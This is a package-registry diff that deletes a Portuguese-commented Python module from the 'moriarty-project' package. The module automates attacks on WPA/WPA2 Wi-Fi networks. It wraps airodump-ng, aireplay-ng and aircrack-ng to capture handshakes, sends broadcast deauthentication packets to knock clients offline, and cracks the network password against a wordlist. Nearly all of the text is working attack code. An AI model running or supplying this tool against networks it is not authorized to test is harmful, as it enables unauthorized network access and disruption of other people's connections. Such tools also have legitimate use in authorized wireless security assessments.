moriarty-project 0.1.20__py3-none-any.whl → 0.1.23__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,446 +0,0 @@
1
- """
2
- Módulo de ataque WPA/WPA2 Handshake.
3
-
4
- Este módulo implementa ataques contra redes WPA/WPA2, incluindo:
5
- - Captura de handshake WPA/WPA2
6
- - Ataque de dicionário
7
- - Ataque de força bruta
8
- """
9
- import os
10
- import re
11
- import time
12
- import logging
13
- import subprocess
14
- import tempfile
15
- from typing import Optional, Dict, List, Tuple, Any, Callable
16
- from dataclasses import dataclass, field
17
- from enum import Enum, auto
18
-
19
- from rich.console import Console
20
- from rich.progress import Progress, SpinnerColumn, TextColumn, BarColumn, TimeElapsedColumn
21
-
22
- from ...core.models.network import WiFiNetwork, WiFiClient
23
- from ...core.utils import (
24
- is_root, check_dependencies, get_network_interfaces,
25
- set_monitor_mode, restore_network_interface, command_exists
26
- )
27
-
28
- # Configuração de logging
29
- logging.basicConfig(level=logging.INFO)
30
- logger = logging.getLogger(__name__)
31
- console = Console()
32
-
33
- class WPAEventType(Enum):
34
- """Tipos de eventos do ataque WPA."""
35
- START = auto()
36
- HANDSHAKE_CAPTURED = auto()
37
- CRACK_SUCCESS = auto()
38
- CRACK_FAILED = auto()
39
- DEAUTH_SENT = auto()
40
- ERROR = auto()
41
- PROGRESS = auto()
42
- COMPLETE = auto()
43
-
44
- @dataclass
45
- class WPAEvent:
46
- """Evento de progresso do ataque WPA."""
47
- type: WPAEventType
48
- message: str = ""
49
- data: Dict[str, Any] = field(default_factory=dict)
50
-
51
- class WPAHandshakeAttack:
52
- """Classe para realizar ataques WPA/WPA2 Handshake."""
53
-
54
- def __init__(self, interface: str = None, timeout: int = 300):
55
- """
56
- Inicializa o ataque WPA Handshake.
57
-
58
- Args:
59
- interface: Interface de rede para usar no ataque
60
- timeout: Tempo máximo de execução em segundos
61
- """
62
- self.interface = interface
63
- self.timeout = timeout
64
- self.is_running = False
65
- self.stop_requested = False
66
- self.handshake_captured = False
67
- self.handshake_file = ""
68
- self.psk = ""
69
-
70
- # Verifica dependências
71
- self._check_dependencies()
72
-
73
- # Verifica privilégios
74
- if not is_root():
75
- raise PermissionError("Este ataque requer privilégios de root")
76
-
77
- def _check_dependencies(self) -> None:
78
- """Verifica se todas as dependências necessárias estão instaladas."""
79
- required = ['airodump-ng', 'aireplay-ng', 'aircrack-ng', 'tshark']
80
- missing = [cmd for cmd in required if not command_exists(cmd)]
81
-
82
- if missing:
83
- raise RuntimeError(
84
- f"As seguintes dependências estão faltando: {', '.join(missing)}\n"
85
- "Instale-as com: sudo apt install aircrack-ng tshark"
86
- )
87
-
88
- def capture_handshake(self, bssid: str, essid: str, channel: int,
89
- output_prefix: str = "handshake",
90
- deauth: bool = True,
91
- deauth_count: int = 5,
92
- callback: Callable[[WPAEvent], None] = None) -> Tuple[bool, str]:
93
- """
94
- Captura o handshake WPA/WPA2 de uma rede.
95
-
96
- Args:
97
- bssid: Endereço MAC do ponto de acesso
98
- essid: Nome da rede (ESSID)
99
- channel: Canal da rede
100
- output_prefix: Prefixo para os arquivos de saída
101
- deauth: Se deve enviar pacotes de desautenticação
102
- deauth_count: Número de pacotes de desautenticação a enviar
103
- callback: Função de callback para eventos
104
-
105
- Returns:
106
- Tupla (sucesso, caminho_do_arquivo_capturado)
107
- """
108
- self.is_running = True
109
- self.stop_requested = False
110
- self.handshake_captured = False
111
- self.handshake_file = ""
112
-
113
- # Configura o monitoramento de eventos
114
- def event_handler(event_type: WPAEventType, message: str = "", **kwargs):
115
- if callback:
116
- event = WPAEvent(type=event_type, message=message, data=kwargs)
117
- callback(event)
118
-
119
- # Cria um diretório temporário para os arquivos
120
- with tempfile.TemporaryDirectory() as temp_dir:
121
- try:
122
- output_file = os.path.join(temp_dir, output_prefix)
123
-
124
- # Inicia o airodump-ng para capturar o handshake
125
- cmd_airodump = [
126
- 'airodump-ng',
127
- '--bssid', bssid,
128
- '-c', str(channel),
129
- '-w', output_file,
130
- '--output-format', 'cap,pcap',
131
- self.interface
132
- ]
133
-
134
- event_handler(WPAEventType.START, "Iniciando captura do handshake...")
135
-
136
- # Executa o airodump-ng em segundo plano
137
- airodump_proc = subprocess.Popen(
138
- cmd_airodump,
139
- stdout=subprocess.PIPE,
140
- stderr=subprocess.PIPE,
141
- universal_newlines=True
142
- )
143
-
144
- # Se solicitado, envia pacotes de desautenticação
145
- if deauth:
146
- self._send_deauth(bssid, count=deauth_count, callback=event_handler)
147
-
148
- # Monitora a saída do airodump-ng
149
- start_time = time.time()
150
- handshake_file = f"{output_file}-01.cap"
151
-
152
- with Progress(
153
- SpinnerColumn(),
154
- TextColumn("[progress.description]{task.description}"),
155
- BarColumn(bar_width=40),
156
- "[progress.percentage]{task.percentage:>3.0f}%",
157
- TimeElapsedColumn(),
158
- console=console,
159
- transient=True,
160
- ) as progress:
161
- task = progress.add_task("Aguardando handshake WPA...", total=100)
162
-
163
- while True:
164
- # Verifica timeout
165
- if time.time() - start_time > self.timeout:
166
- event_handler(
167
- WPAEventType.ERROR,
168
- "Tempo limite excedido na captura do handshake"
169
- )
170
- airodump_proc.terminate()
171
- return False, ""
172
-
173
- # Verifica se foi solicitado para parar
174
- if self.stop_requested:
175
- event_handler(
176
- WPAEventType.ERROR,
177
- "Captura interrompida pelo usuário"
178
- )
179
- airodump_proc.terminate()
180
- return False, ""
181
-
182
- # Verifica se o arquivo de captura existe
183
- if os.path.exists(handshake_file):
184
- # Verifica se o handshake foi capturado
185
- if self._check_handshake(handshake_file, bssid):
186
- self.handshake_captured = True
187
- self.handshake_file = handshake_file
188
- event_handler(
189
- WPAEventType.HANDSHAKE_CAPTURED,
190
- "Handshake capturado com sucesso!",
191
- handshake_file=handshake_file
192
- )
193
- airodump_proc.terminate()
194
- return True, handshake_file
195
-
196
- # Atualiza a barra de progresso
197
- elapsed = time.time() - start_time
198
- progress.update(task, completed=min(100, (elapsed / self.timeout) * 100))
199
-
200
- # Aguarda um pouco antes da próxima verificação
201
- time.sleep(1)
202
-
203
- except Exception as e:
204
- event_handler(
205
- WPAEventType.ERROR,
206
- f"Erro durante a captura do handshake: {str(e)}"
207
- )
208
- return False, ""
209
-
210
- finally:
211
- self.is_running = False
212
- # Encerra processos em execução
213
- try:
214
- airodump_proc.terminate()
215
- except:
216
- pass
217
-
218
- def _send_deauth(self, bssid: str, count: int = 5,
219
- reason: int = 7, client: str = "ff:ff:ff:ff:ff:ff",
220
- callback: Callable[[WPAEvent], None] = None) -> bool:
221
- """
222
- Envia pacotes de desautenticação para forçar um handshake.
223
-
224
- Args:
225
- bssid: Endereço MAC do ponto de acesso
226
- count: Número de pacotes a enviar
227
- reason: Código de motivo da desautenticação
228
- client: Endereço MAC do cliente (padrão: broadcast)
229
- callback: Função de callback para eventos
230
-
231
- Returns:
232
- True se os pacotes foram enviados com sucesso, False caso contrário
233
- """
234
- try:
235
- cmd = [
236
- 'aireplay-ng',
237
- '--deauth', str(count),
238
- '-a', bssid,
239
- '-c', client,
240
- '-h', get_interface_mac(self.interface) or '00:11:22:33:44:55',
241
- '--ignore-negative-one',
242
- self.interface
243
- ]
244
-
245
- if callback:
246
- event = WPAEvent(
247
- type=WPAEventType.DEAUTH_SENT,
248
- message=f"Enviando {count} pacotes de desautenticação...",
249
- data={'bssid': bssid, 'client': client, 'count': count}
250
- )
251
- callback(event)
252
-
253
- subprocess.run(cmd, capture_output=True, check=True)
254
- return True
255
-
256
- except subprocess.CalledProcessError as e:
257
- if callback:
258
- event = WPAEvent(
259
- type=WPAEventType.ERROR,
260
- message=f"Erro ao enviar pacotes de desautenticação: {e.stderr}",
261
- data={'error': str(e)}
262
- )
263
- callback(event)
264
- return False
265
-
266
- def _check_handshake(self, cap_file: str, bssid: str) -> bool:
267
- """
268
- Verifica se um arquivo de captura contém um handshake WPA válido.
269
-
270
- Args:
271
- cap_file: Caminho para o arquivo de captura
272
- bssid: Endereço MAC do ponto de acesso
273
-
274
- Returns:
275
- True se o handshake for válido, False caso contrário
276
- """
277
- try:
278
- # Usa o aircrack-ng para verificar o handshake
279
- cmd = ['aircrack-ng', cap_file, '-b', bssid, '-l', '/dev/null']
280
- result = subprocess.run(cmd, capture_output=True, text=True)
281
-
282
- # Verifica a saída para determinar se há um handshake válido
283
- return "1 handshake" in result.stdout or "1 valid handshake" in result.stdout
284
-
285
- except Exception as e:
286
- logger.error(f"Erro ao verificar handshake: {e}")
287
- return False
288
-
289
- def crack_handshake(self, handshake_file: str, wordlist: str,
290
- bssid: str = "", essid: str = "",
291
- callback: Callable[[WPAEvent], None] = None) -> Tuple[bool, str]:
292
- """
293
- Tenta quebrar um handshake WPA/WPA2 usando um dicionário.
294
-
295
- Args:
296
- handshake_file: Caminho para o arquivo de handshake (.cap)
297
- wordlist: Caminho para o arquivo de wordlist
298
- bssid: Endereço MAC do ponto de acesso (opcional)
299
- essid: Nome da rede (opcional)
300
- callback: Função de callback para eventos
301
-
302
- Returns:
303
- Tupla (sucesso, senha)
304
- """
305
- if not os.path.exists(handshake_file):
306
- if callback:
307
- event = WPAEvent(
308
- type=WPAEventType.ERROR,
309
- message=f"Arquivo de handshake não encontrado: {handshake_file}",
310
- data={'handshake_file': handshake_file}
311
- )
312
- callback(event)
313
- return False, ""
314
-
315
- if not os.path.exists(wordlist):
316
- if callback:
317
- event = WPAEvent(
318
- type=WPAEventType.ERROR,
319
- message=f"Arquivo de wordlist não encontrado: {wordlist}",
320
- data={'wordlist': wordlist}
321
- )
322
- callback(event)
323
- return False, ""
324
-
325
- self.is_running = True
326
- self.stop_requested = False
327
- self.psk = ""
328
-
329
- # Configura o monitoramento de eventos
330
- def event_handler(event_type: WPAEventType, message: str = "", **kwargs):
331
- if callback:
332
- event = WPAEvent(type=event_type, message=message, data=kwargs)
333
- callback(event)
334
-
335
- try:
336
- # Comando para quebrar o handshake
337
- cmd = [
338
- 'aircrack-ng',
339
- handshake_file,
340
- '-w', wordlist,
341
- '-l', os.path.join(os.path.dirname(handshake_file), 'cracked.txt')
342
- ]
343
-
344
- if bssid:
345
- cmd.extend(['-b', bssid])
346
-
347
- if essid:
348
- cmd.extend(['-e', f'"{essid}"'])
349
-
350
- event_handler(WPAEventType.START, "Iniciando quebra do handshake...")
351
-
352
- # Executa o aircrack-ng
353
- process = subprocess.Popen(
354
- cmd,
355
- stdout=subprocess.PIPE,
356
- stderr=subprocess.PIPE,
357
- universal_newlines=True
358
- )
359
-
360
- # Monitora a saída
361
- key_found = False
362
- key_pattern = re.compile(r'KEY FOUND! \[ ([^\]]+) \]')
363
- progress_pattern = re.compile(r'(\d+)/(\d+) keys tested \((\d+\.\d+)\s*([kMG]?)\s*keys/s\)')
364
-
365
- while True:
366
- # Verifica se foi solicitado para parar
367
- if self.stop_requested:
368
- process.terminate()
369
- event_handler(
370
- WPAEventType.ERROR,
371
- "Quebra de senha interrompida pelo usuário"
372
- )
373
- return False, ""
374
-
375
- # Lê a saída
376
- line = process.stdout.readline()
377
- if not line and process.poll() is not None:
378
- break
379
-
380
- if line:
381
- # Verifica se encontrou a chave
382
- key_match = key_pattern.search(line)
383
- if key_match:
384
- self.psk = key_match.group(1)
385
- key_found = True
386
- event_handler(
387
- WPAEventType.CRACK_SUCCESS,
388
- f"Senha encontrada: {self.psk}",
389
- psk=self.psk
390
- )
391
- process.terminate()
392
- return True, self.psk
393
-
394
- # Verifica o progresso
395
- progress_match = progress_pattern.search(line)
396
- if progress_match:
397
- current = int(progress_match.group(1))
398
- total = int(progress_match.group(2))
399
- speed = float(progress_match.group(3))
400
- unit = progress_match.group(4)
401
-
402
- # Converte a velocidade para keys/s
403
- if unit == 'k':
404
- speed *= 1000
405
- elif unit == 'M':
406
- speed *= 1000000
407
- elif unit == 'G':
408
- speed *= 1000000000
409
-
410
- # Calcula o progresso
411
- progress = (current / total) * 100 if total > 0 else 0
412
-
413
- event_handler(
414
- WPAEventType.PROGRESS,
415
- f"Progresso: {progress:.2f}% - {speed:,.0f} senhas/segundo",
416
- progress=progress,
417
- current=current,
418
- total=total,
419
- speed=speed
420
- )
421
-
422
- # Aguarda um pouco antes da próxima verificação
423
- time.sleep(0.1)
424
-
425
- # Verifica se o processo terminou com sucesso
426
- if process.poll() == 0 and not key_found:
427
- event_handler(
428
- WPAEventType.CRACK_FAILED,
429
- "Senha não encontrada na wordlist fornecida"
430
- )
431
-
432
- return key_found, self.psk if key_found else ""
433
-
434
- except Exception as e:
435
- event_handler(
436
- WPAEventType.ERROR,
437
- f"Erro durante a quebra do handshake: {str(e)}"
438
- )
439
- return False, ""
440
-
441
- finally:
442
- self.is_running = False
443
-
444
- def stop(self):
445
- """Solicita a interrupção do ataque."""
446
- self.stop_requested = True